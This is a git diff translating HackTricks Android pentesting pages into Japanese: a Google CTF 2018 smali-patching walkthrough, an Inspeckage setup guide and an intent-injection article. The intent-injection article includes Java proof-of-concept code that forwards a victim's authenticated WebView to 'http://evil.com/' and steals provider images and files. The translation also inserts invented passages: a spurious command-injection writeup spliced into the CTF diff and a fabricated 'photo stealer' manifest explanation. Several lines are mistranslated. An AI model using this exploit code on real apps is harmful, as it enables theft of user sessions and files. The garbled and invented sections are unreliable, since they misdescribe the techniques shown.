[**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。** -Download the APK here: +APKをここからダウンロードしてください: -I am going to upload the APK to [https://appetize.io/](https://appetize.io) (free account) to see how the apk is behaving: +APKを[https://appetize.io/](https://appetize.io)(無料アカウント)にアップロードして、APKの動作を確認します: ![](<../../.gitbook/assets/image (46).png>) -Looks like you need to win 1000000 times to get the flag. +フラグを取得するには1000000回勝つ必要があるようです。 -Following the steps from [pentesting Android](./) you can decompile the application to get the smali code and read the Java code using jadx. +[Androidのペントテスト](./)の手順に従って、アプリケーションを逆コンパイルしてsmaliコードを取得し、jadxを使用してJavaコードを読み取ることができます。 -Reading the java code: +Javaコードを読む: ![](<../../.gitbook/assets/image (47).png>) -It looks like the function that is going print the flag is **m().** +フラグを表示する関数は**m()**のようです。 -## **Smali changes** +## **Smaliの変更** -### **Call m() the first time** - -Lets make the application call m() if the variable _this.o != 1000000_ to do so, just cange the condition: +### **最初の呼び出しでm()を呼び出す** +変数_this.o != 1000000_の場合にアプリケーションがm()を呼び出すようにします。条件を変更するだけです: ``` - if-ne v0, v9, :cond_2 +if-ne v0, v9, :cond_2 ``` +/hive/hacktricks/mobile-pentesting/android-app-pentesting/google-ctf-2018-shall-we-play-a-game.md -to: +# Google CTF 2018 - Shall we play a game? +## Challenge Description + +This challenge is about an Android application that simulates a game. The goal is to find a vulnerability in the app and exploit it to gain access to the flag. + +## Initial Analysis + +The first step is to decompile the APK file using a tool like JADX or apktool. Once decompiled, we can analyze the source code to identify potential vulnerabilities. + +## Reverse Engineering + +In the source code, we find a class called `MainActivity` that handles the main functionality of the app. By analyzing this class, we discover that the app communicates with a remote server using a custom protocol. + +## Network Communication + +To understand the communication protocol, we need to intercept the network traffic between the app and the server. We can use tools like Wireshark or Burp Suite to capture and analyze the traffic. + +## Vulnerability Discovery + +After analyzing the network traffic, we find that the app sends a request to the server with a parameter called `command`. By manipulating this parameter, we can trigger a command injection vulnerability. + +## Exploitation + +To exploit the command injection vulnerability, we can send a malicious command as the value of the `command` parameter. This command will be executed on the server, allowing us to gain control and access the flag. + +## Conclusion + +By analyzing the source code and intercepting the network traffic, we were able to discover and exploit a command injection vulnerability in the Android app. This allowed us to gain control of the server and access the flag. ``` - if-eq v0, v9, :cond_2 +if-eq v0, v9, :cond_2 ``` - ![Before](<../../.gitbook/assets/image (48).png>) ![After](<../../.gitbook/assets/image (49).png>) -Follow the steps of [pentest Android](./) to recompile and sign the APK. Then, upload it to [https://appetize.io/](https://appetize.io) and lets see what happens: +[Androidのペントテスト](./)の手順に従って、APKを再コンパイルして署名します。その後、[https://appetize.io/](https://appetize.io)にアップロードして、何が起こるか見てみましょう: ![](<../../.gitbook/assets/image (50).png>) -Looks like the flag is written without being completely decrypted. Probably the m() function should be called 1000000 times. +フラグが完全に復号化されずに書かれているようです。おそらくm()関数を1000000回呼び出す必要があります。 -**Other way** to do this is to not change the instrucction but change the compared instructions: +これを行う**別の方法**は、命令を変更せずに比較する命令を変更することです: ![](<../../.gitbook/assets/image (55).png>) -**Another way** is instead of comparing with 1000000, set the value to 1 so this.o is compared with 1: +**別の方法**は、1000000ではなく1と比較するように値を設定することです。これにより、this.oが1と比較されます: ![](<../../.gitbook/assets/image (57).png>) -A forth way is to add an instruction to move to value of v9(1000000) to v0 _(this.o)_: +4番目の方法は、v9(1000000)の値をv0(this.o)に移動する命令を追加することです: ![](<../../.gitbook/assets/image (58).png>) ![](<../../.gitbook/assets/image (52).png>) -## Solution +## 解決策 -Make the application run the loop 100000 times when you win the first time. To do so, you only need to create the **:goto\_6** loop and make the application **junp there if \_this.o**\_\*\* does not value 100000\*\*: +アプリケーションが最初に勝った場合に、ループを100000回実行するようにします。これを行うには、**:goto\_6**ループを作成し、アプリケーションが**\_this.o**の値が100000でない場合にそこに**ジャンプするようにします**: ![](<../../.gitbook/assets/image (59).png>) -You need to do this inside a physical device as (I don't know why) this doesn't work in an emulated device. +これは物理デバイス内で行う必要があります(なぜかはわかりません)。
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業で働いていますか? HackTricksで会社を宣伝したいですか?または、PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたりしたいですか?** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション +* [**公式のPEASS&HackTricks swag**](https://peass.creator-spring.com)を手に入れましょう +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォローしてください。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
diff --git a/mobile-pentesting/android-app-pentesting/inspeckage-tutorial.md b/mobile-pentesting/android-app-pentesting/inspeckage-tutorial.md index e4392cd13..e080a86d1 100644 --- a/mobile-pentesting/android-app-pentesting/inspeckage-tutorial.md +++ b/mobile-pentesting/android-app-pentesting/inspeckage-tutorial.md @@ -1,78 +1,74 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
-**Tutorial copied from** [**https://infosecwriteups.com/genymotion-xposed-inspeckage-89f0c8decba7**](https://infosecwriteups.com/genymotion-xposed-inspeckage-89f0c8decba7) +**チュートリアルはここからコピーされました** [**https://infosecwriteups.com/genymotion-xposed-inspeckage-89f0c8decba7**](https://infosecwriteups.com/genymotion-xposed-inspeckage-89f0c8decba7) -## Install Xposed Framework +## Xposed Frameworkのインストール -1. Download Xposed Installer APK from [here](https://forum.xda-developers.com/attachments/xposedinstaller\_3-1-5-apk.4393082/) -2. Download Xposed Framework zip from [here](https://dl-xda.xposed.info/framework/sdk25/x86/xposed-v89-sdk25-x86.zip) -3. Download Inspeckage v2.4 APK from the github repo [here](https://github.com/ac-pm/Inspeckage/releases) +1. [ここから](https://forum.xda-developers.com/attachments/xposedinstaller\_3-1-5-apk.4393082/)Xposed Installer APKをダウンロードします。 +2. [ここから](https://dl-xda.xposed.info/framework/sdk25/x86/xposed-v89-sdk25-x86.zip)Xposed Frameworkのzipをダウンロードします。 +3. [ここから](https://github.com/ac-pm/Inspeckage/releases)Inspeckage v2.4 APKをgithubのリポジトリからダウンロードします。 -Start the Virtual Device from the menu +メニューから仮想デバイスを起動します。 ![](https://miro.medium.com/max/1000/1\*7fprdQrerabZFKpDJSbHuA.png) -Make sure the device is online for adb +デバイスがadbにオンラインであることを確認します。 ![](https://miro.medium.com/max/700/1\*Pt3zh1Od9ufQuo66rCge3g.png) -Drag and drop the Xposed framework zip file (`xposed-vXX-sdkXX-x86.zip`) to your virtual device display to flash the device. +Xposed Frameworkのzipファイル(`xposed-vXX-sdkXX-x86.zip`)を仮想デバイスのディスプレイにドラッグアンドドロップしてデバイスをフラッシュします。 -Drag and drop Xposed Installer APK (`XposedInstaller_*.apk`). This should install and launch _Xposed Installer_ application. At this stage, it will display that the Xposed framework is installed but disabled:![](https://miro.medium.com/max/30/0\*0ddJI69QvpxC8rXq.png?q=20) +Xposed Installer APK(`XposedInstaller_*.apk`)をドラッグアンドドロップします。これにより、_Xposed Installer_アプリケーションがインストールされ、起動します。この段階では、Xposedフレームワークがインストールされているが無効であることが表示されます:![](https://miro.medium.com/max/30/0\*0ddJI69QvpxC8rXq.png?q=20) ![](https://miro.medium.com/max/700/0\*0ddJI69QvpxC8rXq.png) -Reboot the device with `adb reboot` command. **Do not reboot from **_**Xposed Installer**_** as this will freeze the device.** +`adb reboot`コマンドでデバイスを再起動します。**_Xposed Installer_**からではなく、**_Xposed Installer_**から再起動するとデバイスがフリーズします。 ![](https://miro.medium.com/max/657/1\*V\_jl42vdOcJLXvS0riI7Gg.png) -Launch _Xposed installer_. It should display “Xposed Framework version XX is active” +_Xposed installer_を起動します。"Xposed Framework version XX is active"と表示されるはずです。 ![](https://miro.medium.com/max/700/0\*QUDB2ryUyIWz3nmZ.png) -Drag and drop the Inspeackage APK (app-release.apk) to your virtual device display to install the app. +Inspeackage APK(app-release.apk)を仮想デバイスのディスプレイにドラッグアンドドロップしてアプリをインストールします。 -After installing, Go to Xposed Installer → Modules→ Activate the Module → reboot via adb +インストール後、Xposed Installer → Modules→ Activate the Module → adb経由で再起動します。 ![](https://miro.medium.com/max/623/1\*7sO6IX46hciTBUtWoyLEFQ.png) -## Dynamic Analysis with Inspeckage +## Inspeckageによる動的解析 -After, Successful installing of Inspeckage and Xposed Installer. Now we can hook any application with Inspeackage. To do this follow the below steps +InspeckageとXposed Installerのインストールが成功したら、Inspeackageで任意のアプリケーションをフックすることができます。以下の手順に従ってください。 -1. Launch the Inspeckage Application from the application drawer -2. Click on the “Choose target” text and select the target application +1. アプリケーションドロワーからInspeckageアプリケーションを起動します。 +2. "Choose target"テキストをクリックし、ターゲットアプリケーションを選択します。 ![](https://miro.medium.com/max/700/1\*J5J\_rCHOC0ga0YJ5kbwqbQ.png) -3\. Then forward VD local-host port to main machine using adb - +3. 次に、adbを使用してVDローカルホストポートをメインマシンに転送します。 ``` adb forward tcp:8008 tcp:8008 ``` - ![](https://miro.medium.com/max/1000/1\*4lEvYQBILsyr3DqTdiOzig.png) -4\. Now click on the “**LAUNCH APP**” Button and then visit [`http://127.0.0.1:8008`](http://127.0.0.1:8008) +4\. 今、「**LAUNCH APP**」ボタンをクリックし、[`http://127.0.0.1:8008`](http://127.0.0.1:8008)にアクセスします。 -5\. Now click Turn On the button to Inspect the app. (make sure `App is running:` status should be **True** before you “Turn On” +5\. アプリを検査するために、Turn Onボタンをクリックします。(「App is running:」のステータスが**True**になっていることを確認してから「Turn On」をクリックしてください) ![](https://miro.medium.com/max/1000/1\*jCs1Qo4vlgKyb6yIGvIl4w.png) @@ -81,16 +77,14 @@ adb forward tcp:8008 tcp:8008 ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 - - diff --git a/mobile-pentesting/android-app-pentesting/intent-injection.md b/mobile-pentesting/android-app-pentesting/intent-injection.md index 19f2f1ea3..c18863e7f 100644 --- a/mobile-pentesting/android-app-pentesting/intent-injection.md +++ b/mobile-pentesting/android-app-pentesting/intent-injection.md @@ -1,70 +1,59 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricks swag**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
**Research taken from** [**https://blog.oversecured.com/Android-Access-to-app-protected-components/**](https://blog.oversecured.com/Android-Access-to-app-protected-components/) -# Introduction +# はじめに -This vulnerability resembles **Open Redirect in web security**. Since class `Intent` is `Parcelable`, **objects belonging to this class** can be **passed** as **extra** **data** in another `Intent` object. \ -Many developers make **use** of this **feature** and create **proxy** **components** (activities, broadcast receivers and services) that **take an embedded Intent and pass it to dangerous methods** like `startActivity(...)`, `sendBroadcast(...)`, etc. \ -This is dangerous because **an attacker can force the app to launch a non-exported component that cannot be launched directly from another app**, or to grant the attacker access to its content providers. **`WebView`** also sometimes changes a **URL from a string to an `Intent`** object, using the `Intent.parseUri(...)` method, and passes it to `startActivity(...)`. +この脆弱性は、**Webセキュリティのオープンリダイレクト**に似ています。クラス`Intent`は`Parcelable`であるため、このクラスに属するオブジェクトは、別の`Intent`オブジェクトの**追加データ**として**渡すことができます**。\ +多くの開発者は、この機能を利用して、`startActivity(...)`、`sendBroadcast(...)`などの危険なメソッドに埋め込まれた`Intent`を受け取り、それを渡す**プロキシコンポーネント**(アクティビティ、ブロードキャストレシーバー、サービス)を作成します。\ +これは危険です。なぜなら、**攻撃者はアプリを強制的に起動させることができ、他のアプリから直接起動することができない非公開コンポーネントにアクセスする**ことができるからです。また、`WebView`は、`Intent.parseUri(...)`メソッドを使用して、文字列から`Intent`オブジェクトに**URLを変更**し、それを`startActivity(...)`に渡すこともあります。 {% hint style="info" %} -As summary: If an attacker can send an Intent that is being insecurely executed he can potentially access not exported components and abuse them. +要約すると、攻撃者が安全に実行されている`Intent`を送信できれば、エクスポートされていないコンポーネントにアクセスし、それらを悪用する可能性があります。 {% endhint %} -# A typical case - -Let us examine an example. Fragment of the `AndroidManifest.xml` file +# 典型的なケース +例を見てみましょう。`AndroidManifest.xml`ファイルの一部分です。 ```markup ``` - -Activity `ProxyActivity` - +アクティビティ `ProxyActivity` ```java startActivity((Intent) getIntent().getParcelableExtra("extra_intent")); ``` - -Activity `AuthWebViewActivity` - +アクティビティ `AuthWebViewActivity` ```java webView.loadUrl(getIntent().getStringExtra("url"), getAuthHeaders()); ``` +`AuthWebViewActivity`は、特定の安全でないアクションを実行する**隠されたアプリの機能の例**です。この場合、ユーザーの認証セッションを`url`パラメータから取得したURLに渡します。 -`AuthWebViewActivity` is an example of **hidden app functionality that performs certain unsafe actions**, in this case passing the user’s authentication session to a URL obtained from the `url` parameter. - -Export restrictions mean **the attacker cannot access `AuthWebViewActivity` directly**. A direct call - +輸出規制により、**攻撃者は直接`AuthWebViewActivity`にアクセスすることはできません**。直接の呼び出し ```java Intent intent = new Intent(); intent.setClassName("com.victim", "com.victim.AuthWebViewActivity"); intent.putExtra("url", "http://evil.com/"); startActivity(intent); ``` +`AuthWebViewActivity`がuid 1337からエクスポートされていないため、`java.lang.SecurityException`がスローされます。 -throws a `java.lang.SecurityException`, due to `Permission Denial`: `AuthWebViewActivity not exported from uid 1337`. - -But the attacker can f**orce the victim to launch `AuthWebViewActivity` itself**: - +しかし、攻撃者は被害者に対して`AuthWebViewActivity`を自身で起動させることができます。 ```java Intent extra = new Intent(); extra.setClassName("com.victim", "com.victim.AuthWebViewActivity"); @@ -75,49 +64,94 @@ intent.setClassName("com.victim", "com.victim.ProxyActivity"); intent.putExtra("extra_intent", extra); startActivity(intent); ``` +そして、セキュリティ違反は発生しないため、**攻撃対象のアプリは自身のすべてのコンポーネントにアクセスできます**。このコードフラグメントを使用することで、攻撃者はAndroidシステムの組み込み制限を回避することができます。 -and no security violation will arise, because t**he app that is under attack does have access to all its own components**. Using this code fragment, the attacker can bypass the Android system’s built-in restrictions. +# 影響のエスカレーション -# Escalation of Impact +この脆弱性の影響をエスカレーションさせるためには、**他の脆弱性/設定ミスを見つける必要があります。これにより、脆弱性の影響を増大させることができます**(脆弱性自体はリスクを作成しません)。 -In order to escalate the impact of this vulnerability you need to **find other vulns/missconfigurations that could allow to increate the impact of the vulnerability** (as the vulnerability by it's own isn't creating any risks). +## コンテンツプロバイダを介した攻撃のエスカレーション -## Escalation of attacks via Content Providers +元のアプリの任意のコンポーネントにアクセスするだけでなく、**攻撃者は以下の条件を満たす脆弱なアプリのコンテンツプロバイダにアクセスしようとすることができます**。 -Besides access to arbitrary components of the original app, the **attacker can attempt to gain access to those of the vulnerable app’s Content Providers** that satisfy the following conditions: +* **非公開**である必要があります(そうでない場合、この記事で議論している脆弱性を使用せずに直接攻撃できます) +* `android:grantUriPermissions`フラグが**`true`**に設定されている必要があります。 +* `android:grantUriPermissions="true"`は、Javaコードがその`ContentProvider`で提供される**任意の`Uri`に対して`FLAG_GRANT_READ_URI_PERMISSION`と`FLAG_GRANT_WRITE_URI_PERMISSION`を使用できることを示します**。 +* `android:grantUriPermissions="false"`は、子の``要素で指定された`Uri`値のみが`FLAG_GRANT_READ_URI_PERMISSION`と`FLAG_GRANT_WRITE_URI_PERMISSION`と一緒に使用できることを示します。 -* it must be **non-exported** (otherwise it **could be attacked directly**, without using the vulnerability we are discussing in this article) -* it must have the **`android:grantUriPermissions`** flag set to **`true`**. - * `android:grantUriPermissions="true"` indicates that your Java code can use `FLAG_GRANT_READ_URI_PERMISSION` and `FLAG_GRANT_WRITE_URI_PERMISSION` for **any `Uri` served by that `ContentProvider`**. - * `android:grantUriPermissions="false"` indicates that **only the `Uri` values specified by child ``** elements can be used with `FLAG_GRANT_READ_URI_PERMISSION` and `FLAG_GRANT_WRITE_URI_PERMISSION`. +攻撃者は自身を埋め込まれたインテントの受信者として設定し、以下のフラグを設定する必要があります。 -The attacker must set itself as the recipient of an embedded intent and set the following flags - -* `Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION` permits persistent access to the provider (without this flag, the access is one-time only) -* `Intent.FLAG_GRANT_PREFIX_URI_PERMISSION` permits URI access by prefix – for example, instead of repeatedly obtaining separate access using a complete path such as `content://com.victim.provider/image/1` the attacker can grant access to all the provider’s content using the URI `content://com.victim.provider/` and then use `ContentResolver` to address `content://com.victim.provider/image/1`, `content://com.victim.provider/image/2`, etc. -* `Intent.FLAG_GRANT_READ_URI_PERMISSION` permits read operations on the provider (such as `query`, `openFile`, `openAssetFile`) -* `Intent.FLAG_GRANT_WRITE_URI_PERMISSION` permits write operations - -An example of a typical provider where an attacker can gain access to it and perform regular operations like `query`, `update`, `insert`, `delete`, `openFile`, `openAssetFile` +* `Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION`は、プロバイダへの永続的なアクセスを許可します(このフラグがない場合、アクセスは一度限りです) +* `Intent.FLAG_GRANT_PREFIX_URI_PERMISSION`は、URIへのプレフィックスによるアクセスを許可します。例えば、`content://com.victim.provider/image/1`のような完全なパスを繰り返し取得する代わりに、攻撃者はURI `content://com.victim.provider/` を使用してプロバイダのすべてのコンテンツにアクセスを許可し、その後 `ContentResolver` を使用して `content://com.victim.provider/image/1`、`content://com.victim.provider/image/2`などにアクセスできます。 +* `Intent.FLAG_GRANT_READ_URI_PERMISSION`は、プロバイダ上での読み取り操作(`query`、`openFile`、`openAssetFile`など)を許可します。 +* `Intent.FLAG_GRANT_WRITE_URI_PERMISSION`は、書き込み操作を許可します。 +攻撃者は、アクセスして`query`、`update`、`insert`、`delete`、`openFile`、`openAssetFile`などの通常の操作を実行できる典型的なプロバイダの例です。 ```markup ``` +# AndroidManifest.xmlファイルにおけるユーザーの写真の盗難の例 -Example of the theft of user pictures `AndroidManifest.xml` file +アプリケーションがユーザーの写真を盗むために使用する可能性のある一般的な方法は、`AndroidManifest.xml`ファイルでの設定です。このファイルは、アプリケーションの構成情報を含んでおり、アプリケーションの動作に関する重要な情報を提供します。 +以下は、ユーザーの写真を盗むために悪意のあるアプリケーションが使用する可能性のある`AndroidManifest.xml`ファイルの設定の例です。 + +```xml + + + + + + + + + + + + + + + + + + + + + + + + + + +``` + +この例では、悪意のあるアプリケーションは`READ_EXTERNAL_STORAGE`および`WRITE_EXTERNAL_STORAGE`のパーミッションを要求しています。これにより、アプリケーションはユーザーの外部ストレージにアクセスし、写真を盗むことができます。 + +また、`PhotoStealerActivity`という名前のアクティビティが定義されており、`android.intent.action.VIEW`アクションと`image/*`のMIMEタイプを持つデータを処理するように設定されています。これにより、アプリケーションはユーザーが写真を表示するために他のアプリケーションを使用する際に、写真を盗むことができます。 + +このような設定がある場合、ユーザーの写真が悪意のあるアプリケーションによって盗まれる可能性があります。ユーザーのプライバシーを保護するためには、アプリケーションのパーミッションと`AndroidManifest.xml`ファイルの設定を慎重に確認する必要があります。 ```markup ``` - -`MainActivity.java` file - +`MainActivity.java` ファイル ```java Intent extra = new Intent(); extra.setFlags(Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION - | Intent.FLAG_GRANT_PREFIX_URI_PERMISSION - | Intent.FLAG_GRANT_READ_URI_PERMISSION - | Intent.FLAG_GRANT_WRITE_URI_PERMISSION); +| Intent.FLAG_GRANT_PREFIX_URI_PERMISSION +| Intent.FLAG_GRANT_READ_URI_PERMISSION +| Intent.FLAG_GRANT_WRITE_URI_PERMISSION); extra.setClassName(getPackageName(), "com.attacker.LeakActivity"); extra.setData(Uri.parse("content://com.victim.provider/")); @@ -126,46 +160,38 @@ intent.setClassName("com.victim", "com.victim.ProxyActivity"); intent.putExtra("extra_intent", extra); startActivity(intent); ``` - `LeakActivity.java` - ```java Uri uri = Uri.parse(getIntent().getDataString() + "image/1")); // content://com.victim.provider/image/1 Bitmap bitmap = BitmapFactory.decodeStream(getContentResolver().openInputStream(uri)); // stolen image ``` +## Android File Providerへの攻撃 -## Attacks on Android File Provider - -This vulnerability also makes it possible for the attacker to **steal app files** located in directories that the developer predetermined. For a successful attack, the malign app needs to **obtain access rights to Android File Provider and then read content from the file provider using Android ContentResolver**. - -Example file provider (for more details see [https://developer.android.com/reference/android/support/v4/content/FileProvider](https://developer.android.com/reference/android/support/v4/content/FileProvider)) +この脆弱性により、攻撃者は開発者が事前に指定したディレクトリにあるアプリのファイルを**盗むことが可能**になります。攻撃が成功するためには、悪意のあるアプリが**Android File Providerへのアクセス権を取得し、Android ContentResolverを使用してファイルプロバイダからコンテンツを読み取る必要があります**。 +以下はファイルプロバイダの例です(詳細については[https://developer.android.com/reference/android/support/v4/content/FileProvider](https://developer.android.com/reference/android/support/v4/content/FileProvider)を参照してください)。 ```markup - + ``` +アプリのリソース内にある特別なリストにあるファイルへの読み書きアクセスを提供します。この場合、`res/xml/provider_paths.xml`にあります。 -It provides read/write access to files on a special list that can be found in the app resources, in this case at `res/xml/provider_paths.xml` - -It may look somewhat like - +次のように見えるかもしれません。 ```markup - - - - + + + + ``` +各タグは、ルートに対して相対的な `path` 値を持つルートディレクトリを指定します。たとえば、値 `external_files` は `new File(Environment.getExternalStorageDirectory(), "images")` に対応します。 -Each tag specifies a root directory with a `path` value relative to the root. For instance, the value `external_files` will correspond to `new File(Environment.getExternalStorageDirectory(), "images")` - -The value `root-path` corresponds to `/`, i.e. provides access to arbitrary files. - -Let us say we have some secret data stored in the file `/data/data/com.victim/databases/secret.db`: the theft of this file may look something like this `MainActivity.java` +値 `root-path` は `/` に対応し、つまり任意のファイルにアクセスを提供します。 +仮に、ファイル 